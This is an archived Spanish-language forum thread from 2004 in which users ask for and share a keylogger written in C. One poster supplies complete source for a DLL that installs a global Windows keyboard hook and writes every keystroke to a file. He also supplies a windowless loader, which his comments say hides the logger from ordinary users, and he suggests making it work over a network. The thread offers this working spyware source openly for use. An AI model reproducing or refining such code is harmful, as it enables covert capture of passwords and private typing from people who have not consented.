PDA

Ver la versión completa : Ocultamiento y Keylog en C



Zz Xploit zZ
26-06-2004, 06:24
Buenas a todos. Soy nuevo en el foro.

Queria estrenarlo preguntandoles:
¿cual es la funcion que me permite grabar (para un keylogger) teclas presionadas por el usuario. Estoy hablando en C.
A lo que me refiero es a mantener tambien el programa ejecutandose en segundo plano.
Eso del "exit(0)" ???, pero no hace nada, solo queda en segundo plano!.
No se si se podra con la simple shell, talvez necesite saber C++, eso se lo dejo a ustedes.

Saludos Atte

Scar_T
27-06-2004, 01:46
Para lo del keylogger estudiate los hooks de la winapi.

Zz Xploit zZ
27-06-2004, 19:51
mmm,, mas informacion?

Scar_T
28-06-2004, 04:50
Un hook es una función que puedes colocar en el sistema de manejo de mensajes de windows (espero conozcas algo de esto, para que sepas a que me refiero). Cuando algún evento ocurre, por ej. de teclado, si hay un hook instalado, windows primero llamará a esta subrutina antes de emitir el mensaje. La función hook no solo puede examinar el mensaje sino también alterarlo, es decir, si el usuario presiono la 'a' la función hook puede hacer parecer que se mando una 'z' por ejemplo.

Esta función hook la debes usar de un forma "adecuada", ya que podrías alentar la computadora donde este instalado tu keylogger.

Por último, esta función debe estar en una dll (si alguien sabe porqué por favor expliquemelo, nunca he sabido porqué).

Zz Xploit zZ
29-06-2004, 00:14
Bueno, gracias por la informacion. Yo lamentablemente no se C++, a pesar de tener devcpp. Se me hace muy dificil y todavia no me he puesto. Pero buenio entonces quiere decir que si o si lo tenes que hacer con C++ y no se puede con C, que era mi objetivo.
Buen, a ver si alguno mas escribe sobre keyloggers.

Otra cosa de lo que no me dijiste nada es del tema del trabajo en "tercer" plano del programa. O sea como es eso del Exit(0), ¿sigue trabajando el programa?

Scar_T
29-06-2004, 15:52
De hecho si lo puedes hacer con C :). Y lo del exit(0) no te lo dije porque no lo se ^_^

Zz Xploit zZ
02-07-2004, 03:22
ahhh, y sabes como hacerlo simplemente desde C ????

KaoS
02-07-2004, 16:32
Xploit yo acabo de mirar por inet y encontré esto, a ver si t sirve yo ya le he hexado un ojo y se entiende bastante bien.

-Un punto a destacar es que un hook es un proceso en tiempo real, osea q se instalara el hook justo al crear el proceso.
-Toma pocos recursos del pc y casi no consume tiempo de CPU.

Aqui tienes el link (http://www.validtec.com/api-hook-sdk.pdf) (esta en inglés).

Un saludo,
KaoS

Scar_T
02-07-2004, 21:13
Hice un pequeño ejemplo que espero ayude a comprender un poco esto (inclusive lo pueden tomar como mini tutorial :) ):

Comencemos con la DLL:




#include <windows.h>

#include <stdio.h>
#include <stdlib.h>

#include "kllib.h"

HINSTANCE hInstDLL; //Instancia de nuestra DLL
HHOOK gHook; //Handle del hook


//Funcion para escribir nuestro log
void EscribeLog(char *cadena, ...) {
FILE *fmt;
va_list args;
char buffer[1024] = {0};

va_start(args, cadena);

vsprintf(buffer, cadena, args);

va_end(args);

fmt = fopen("c:\\salida.txt", "a");

fprintf(fmt, buffer);

fclose(fmt);
}

//Esta es la funcion Hook
LRESULT CALLBACK KbProc(int code, WPARAM wParam, LPARAM lParam) {
char key;

//Si code es menor a cero, no hacemos nada (como lo dice la documentacion)
if(code<0) return CallNextHookEx(gHook, code, wParam, lParam);

//Verificamos que wParam y lParam contengan informacion
if(code==HC_ACTION) {
//En wParam se guarda la tecla presionada
//Aqui hace falta algo de trabajo para darle formato al codigo que windows
//envia.
key = (char) wParam;

EscribeLog("%c", key);
}

return CallNextHookEx(gHook, code, wParam, lParam);
}

//Esta funcion instala el hook
BOOL IniciarKbL() {

//Le decimos a windows que queremos instalar un hook para teclado.
gHook = SetWindowsHookEx(WH_KEYBOARD, (HOOKPROC)KbProc, hInstDLL, NULL);

//Verificamos que se haya instalado correctamente.
if(gHook == NULL) {return FALSE;}

return TRUE;
}

//Esta funcion desinstala el hook
void TerminarKbL() {
//Lo desinstalamos :)
UnhookWindowsHookEx(gHook);
}

BOOL APIENTRY DllMain(HANDLE hModule, DWORD dwReason, LPVOID lpReserved)
{
hInstDLL = (HINSTANCE)hModule;
return TRUE;
}




He aqui el archivo de cabecera en cuestion:




#ifndef KLLIBH
#define KLLIBH

LRESULT CALLBACK KbProc(int code, WPARAM wParam, LPARAM lParam);

BOOL IniciarKbL();
void TerminarKbL();

#endif



Con eso terminamos la DLL, ahora hacemos un programita para usarla :).



#include <windows.h>

#include "kllib.h"

//La hago con WinMain para permanecer "oculto" (claro a menos que vean los procesos :)),
//de este modo windows no crea ninguna consola porque espera que cree mi ventana principal
//cosa que nunca hago ^_^, asi no hay evidencia para un usuario comun de que estamos ahi ;).

int WINAPI WinMain(HINSTANCE hInst, HINSTANCE hPInst, LPSTR lpCmd, int nShow) {

//Instalamos el hook
if(IniciarKbL() == FALSE) return -1;

//Un bucle infinito para permanecer en memoria. Ahora la funcion que trabaja es la
//funcion hook, que windows llama.
while(1) {
//Mandamos a dormir a la aplicacion un rato para no ocupar todo el procesador
//y no alentar la maquina.
Sleep(500);
}

//Desinstalamos el hook :).
TerminarKbL();

return 0;
}


Este es un keylogger funcional, pero como se darán cuenta, si lo compilan, es bastante malo, pero creo que cumple con el objetivo de mostrar como hacer un keylogger en C.

Ahora solo falta que revisen un poco la doc. de la WinAPI para mejorar el keylogger y formatee correctamente los mensajes del teclado, luego lo mejoran para que funcione en Red ;).

Si tienen dudas, y las puedo contestar con gusto lo hare :).

Ah se me olvidaba, por lo malo que es :), para cerrarlo tendran que ver los procesos actuales (Ctrl+Alt+Supr) y cerrarlo desde ahi, disculpen las molestias.

KaoS
02-07-2004, 23:00
Muy buenas Scar_t, gracias por tu splicacion, te contare como me va eso

Un saludo y gracias
KaoS

Zz Xploit zZ
03-07-2004, 04:27
Buieno, gracias muchachos, ahora le voy a dar un vistazo.